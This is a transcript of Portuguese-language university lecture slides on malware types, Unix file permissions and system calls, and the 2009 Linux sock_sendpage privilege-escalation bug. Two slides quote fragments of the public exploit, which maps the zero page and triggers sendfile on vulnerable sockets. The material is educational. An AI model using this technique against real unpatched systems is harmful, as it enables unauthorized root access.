slides ataques e vulnerabilidades

39
Ataques e Vulnerabilidades Prof. Islene Calciolari Garcia 1° semestre de 2010 MC 514 Sistemas Operacionais: Teoria e Prática

Upload: cheeshirecat

Post on 09-Jun-2015

2.398 views

Category:

Documents


6 download

TRANSCRIPT

Page 1: Slides   ataques e vulnerabilidades

Ataques e Vulnerabilidades

Prof. Islene Calciolari Garcia1° semestre de 2010

MC 514Sistemas Operacionais: Teoria e Prática

Page 2: Slides   ataques e vulnerabilidades

Introdução

Formas de ataque

Aprofundamento

SO: Defesa e Proteção

Prática: O Bug de 8 Anos

Índice

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 3: Slides   ataques e vulnerabilidades

Introdução

Formas de ataque

Aprofundamento

SO: Defesa e Proteção

Prática: O Bug de 8 Anos

Índice

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 4: Slides   ataques e vulnerabilidades

• O que são vírus

• Princípios básicos

• Modus Operandi– Vírus de disco– Vírus de arquivo– Vírus Mult-partite

• Autodefesa

Introdução

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 5: Slides   ataques e vulnerabilidades

• Ataques e vulnerabilidades– Conceito– Origens de vulnerabilidades– Motivos dos ataques– Tipos de ataques

• Acesso físico• Intercepção de comunicações• Recusas de serviço• Intrusões• Engenharia Social• Alçapões

Introdução

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 6: Slides   ataques e vulnerabilidades

Formas de ataque

Aprofundamento

SO: Defesa e Proteção

Prática: O Bug de 8 Anos

Introdução

Índice

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 7: Slides   ataques e vulnerabilidades

• Spywares• Adwares• Ransomwares• Worms• Trojans• Hijackers• Keylogger• Rootkits

Formas de Ataque

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 8: Slides   ataques e vulnerabilidades

• Recolhem informações e transmite informação.

• Não costumam se alto duplicar. • Muitos vírus transportam

spywares visando roubar certos dados confidenciais.

Formas de Ataque

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Spywares

Page 9: Slides   ataques e vulnerabilidades

• Costuma-se incluir os adwares no estudo dos spywares

• Trazem para a tela do usuário algum tipo de propaganda.

• Vem embutidos em diversos programas de download livre.

Formas de Ataque

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Adwares

Page 10: Slides   ataques e vulnerabilidades

• Criptografam todo ou parte do conteúdo do disco rígido.

• Exigem da vítima, um pagamento pelo "resgate" dos dados.

• São ferramentas para crimes de extorsão e são extremamente ilegais.

Formas de Ataque

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Ransomwares

Page 11: Slides   ataques e vulnerabilidades

• Programa auto-replicante.

• Usa a rede para enviar cópias de si mesmo para outros, sem nenhuma intervenção do usuário.

• Não é necessário anexá-lo em programas existentes.

Formas de Ataque

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Worms

Page 12: Slides   ataques e vulnerabilidades

• Pretende se passar por ser aplicação benigna.

• Faz algo que o usuário não espera.

• Trojans não se replicam.

• Atacam de forma direta.

Formas de Ataque

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Trojans

Page 13: Slides   ataques e vulnerabilidades

• Sequestram navegadores de Internet.

• Altera a página inicial do browser, exibe propagandas, instala barras de ferramentas no navegador.

• Impede acesso a determinados sites.

Formas de Ataque

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Hijackers

Page 14: Slides   ataques e vulnerabilidades

• Ficam escondidos no sistema operacional.

• Desenvolvidos para meios ilícitos, como, por exemplo, roubo de dados pessoais.

• Capturam as teclas e podem também capturar a tela.

Formas de Ataque

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Keyloggers

Page 15: Slides   ataques e vulnerabilidades

• Escondem processos, arquivos ou dados do sistema do Sistema Operacional.

• Ajudam intrusos a manter acesso ao sistema enquanto evita a detecção.

• Existem rootkits para vários Sistemas Operacionais.

• Freqüentemente modificam partes do Sistema Operacional ou instalam-se em drivers ou módulos do Kernel.

Formas de Ataque

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Rootkits

Page 16: Slides   ataques e vulnerabilidades

Aprofundamento

SO: Defesa e Proteção

Prática: O Bug de 8 Anos

Introdução

Formas de ataque

Índice

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 17: Slides   ataques e vulnerabilidades

Devido ao grande número de formas de ataque, optamos pela escolha de duas delas: Rootkits e Spyware, a fim de aprofundar o conhecimento, estas são descritas a seguir.

Aprofundamento

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 18: Slides   ataques e vulnerabilidades

• O que são?

• Qual sua intenção?

• Diferenças na infecção– Windows– Linux/UNIX

• As três gerações

AprofundamentoRootkits

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 19: Slides   ataques e vulnerabilidades

• O que são?

• Para que são projetados?

• Formas de infecção– Programa de instalação sobreposto

– Download guiado

– Adicionador de melhorias do broswer

– Mascarado como um anti-spyware

AprofundamentoSpyware

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 20: Slides   ataques e vulnerabilidades

Introdução

Formas de ataque

Aprofundamento

SO: Defesa e Proteção

Prática: O Bug de 8 Anos

Índice

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 21: Slides   ataques e vulnerabilidades

• Sistema de permissões

• Dificuldades oferecidas pelo GNU/Linux

• Diferença DOS/Windows vs. Linux

• Chamadas de sistema em segurança

• Execução em sistemas específicos

Defesa

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 22: Slides   ataques e vulnerabilidades

• O arquivo ao ser criado recebe uma permissão determinada pelo processo que o gerou. Essa permissão pode ser de três tipos, r, w e x, respectivamente, leitura, escrita e execução. As permissões são atribuídas ao usuário, seu grupo e outros usuários, desse modo 9 bits são suficientes para representação do direito de acesso. Alguns exemplos são mostrados a seguir:

Defesa

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Sistemas de permissões

Valor Binário Transcrição Significado

111000000 rwx – – – – – – Dono pode ler, escrever e executar

111111000 rwxrwx– – – Dono e Grupo podem ler, escrever e executar

110100000 rw–r– – – – – Dono pode ler e escrever, grupo poder ler

110100100 rw–r– –r– – Dono pode ler e escrever, outros poder ler

111101101 rwxr–xr–x Dono pode fazer tudo, outros ler e executar

000000000 – – – – – – – – – Ninguém possui nenhum tipo de acesso

000000111 – – – – – –rwx Somente pessoas de fora possuem acesso

Page 23: Slides   ataques e vulnerabilidades

As principais chamadas de sistemas utilizadas e suas características são apresentadas a seguir:

chmod (path, mode)

É a mais utilizada, ela serve para modificar o modo de proteção. Por exemplo:

s = chmod("usr/ast/newgame", 0755);

seta newgame para rwxr–xr–x, assim todos podem executa-lo, vale notar q o valor 0755 é um número em octal, que é conveniente pois os bits de proteção vem em grupos de 3.

Somente o dono do arquivo e a root podem trocar esses bits de proteção.

Defesa

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Chamadas de sistemas

Page 24: Slides   ataques e vulnerabilidades

access(path, mode)

• Esse system call é necessário para evitar brechas de segurança, em programas que possuem o SETUID setados e cujos donos são a root. Esses programas podem executar qualquer ação, por isso, às vezes é necessário checar se o usuário está permitido a realizar o acesso. Para isso o a chamada de sistema access verifica o UID e o GID real do usuário.

Defesa

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Chamadas de sistemas

Page 25: Slides   ataques e vulnerabilidades

getuid( )

• Retorna o valor real do UID do usuário.

geteuid( )

• Retorna o valor efetivo do UID do usuário.

getgid( )

• Retorna o valor real do GID do usuário.

getegid( )

• Retorna o valor efetivo do GID do usuário.

Defesa

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Chamadas de sistemas

Page 26: Slides   ataques e vulnerabilidades

chown(path, owner, group)

• Só pode ser utilizado pela root, muda o UID e o GID do arquivo.

setuid(uid)

• Só pode ser utilizado pela root, muda o UID de um processo.

setgid(gid)

• Só pode ser utilzado pela root, muda o GID de um processo.

Defesa

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Chamadas de sistemas

Page 27: Slides   ataques e vulnerabilidades

Introdução

Formas de ataque

Aprofundamento

SO: Defesa e Proteção

Prática: O Bug de 8 Anos

Índice

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 28: Slides   ataques e vulnerabilidades

Acesso a privilégios locais

• Distribuições vulneráveis:– Kernel 2.4 (2.4.4 até 2.4.37.4, inclusive);– Kernel 2.6 (2.6.0 até 2.6.30.4, inclusive);– Todas as arquiteturas desde maio/2001

PráticaA vulnerabilidade

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 29: Slides   ataques e vulnerabilidades

Estrutura proto_ops do socket:– Ponteiros para funções;– Problema: lidar com operações indisponíveis;

• Exemplo: sock_sendpage

• Fragilidade no código do kernel

PráticaA vulnerabilidade

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 30: Slides   ataques e vulnerabilidades

Escalação de privilégio local:– Mapeamento no endereço zero;– Acionamento de operação vulnerável;

• Total controle do sistema!

PráticaComo aproveitar

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 31: Slides   ataques e vulnerabilidades

Corrigir os protocolos?

• Corrigir sock_sendpage– Verifica ponteiros nulos

• Patch disponibilizado em agosto/2009– 8 anos depois...

PráticaA solução

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 32: Slides   ataques e vulnerabilidades

PráticaA solução

Universidade Estadual de Campinas - Instituto de Computação - MC 514

static ssize_t sock_sendpage(struct file *file, struct page *page,  int offset, size_t size, loff_t *ppos, int more)

{        struct socket *sock;

(...)

        return sock->ops->sendpage(sock, page, offset, size, flags);}

int kernel_sendpage(struct socket *sock, struct page *page, int offset, size_t size, int flags){        if (sock->ops->sendpage)                return sock->ops->sendpage(sock, page, offset, size, flags);

        return sock_no_sendpage(sock, page, offset, size, flags);}

Page 33: Slides   ataques e vulnerabilidades

Teste no kernel antigo;– Fedora 11 (kernel 2.6.29.4)

• Teste no kernel com patch;– Ubuntu 9.10

PráticaSimulação

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 34: Slides   ataques e vulnerabilidades

PráticaSimulação

Universidade Estadual de Campinas - Instituto de Computação - MC 514

mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);

if (mem != NULL) {mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,

MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); Kernel corrigido

if (mem != NULL) {fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");return 1;

}}

fprintf(stdout, " [+] MAPPED ZERO PAGE!\n"); Kernel antigo

Page 35: Slides   ataques e vulnerabilidades

PráticaSimulação

Universidade Estadual de Campinas - Instituto de Computação - MC 514

char template[] = "/tmp/sendfile.XXXXXX";int in, out;

if ((in = mkstemp(template)) < 0) {fprintf(stdout, "failed to open input descriptor, %m\n");return 1;

}unlink(template);d = 0;

for (; domains[d][0] != DOMAINS_STOP; d++) {if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0)

break;} if (out < 0) {

fprintf(stdout, "unable to find a vulnerable domain, sorry\n");return 1;

}

ftruncate(in, getpagesize());sendfile(out, in, NULL, getpagesize());

Page 36: Slides   ataques e vulnerabilidades

Teste no kernel antigo;– Fedora 11 (kernel 2.6.29.4)

• Teste no kernel com patch;– Ubuntu 9.10

PráticaSimulação

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 37: Slides   ataques e vulnerabilidades

Teste no kernel antigo;– Fedora 11 (kernel 2.6.29.4)

• Teste no kernel com patch;– Ubuntu 9.10

PráticaSimulação

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 38: Slides   ataques e vulnerabilidades

? Dúvidas

Universidade Estadual de Campinas - Instituto de Computação - MC 514

Page 39: Slides   ataques e vulnerabilidades

Obrigados

João Carlos Maggiotto R.A.: 081721

Mariana Mendes Caspirro R.A.: 082204

Murilo Fossa Vicentini R.A.: 082335

Patricia Kawaguchi Cesar R.A.: 085984

Ataques e Vulnerabilidades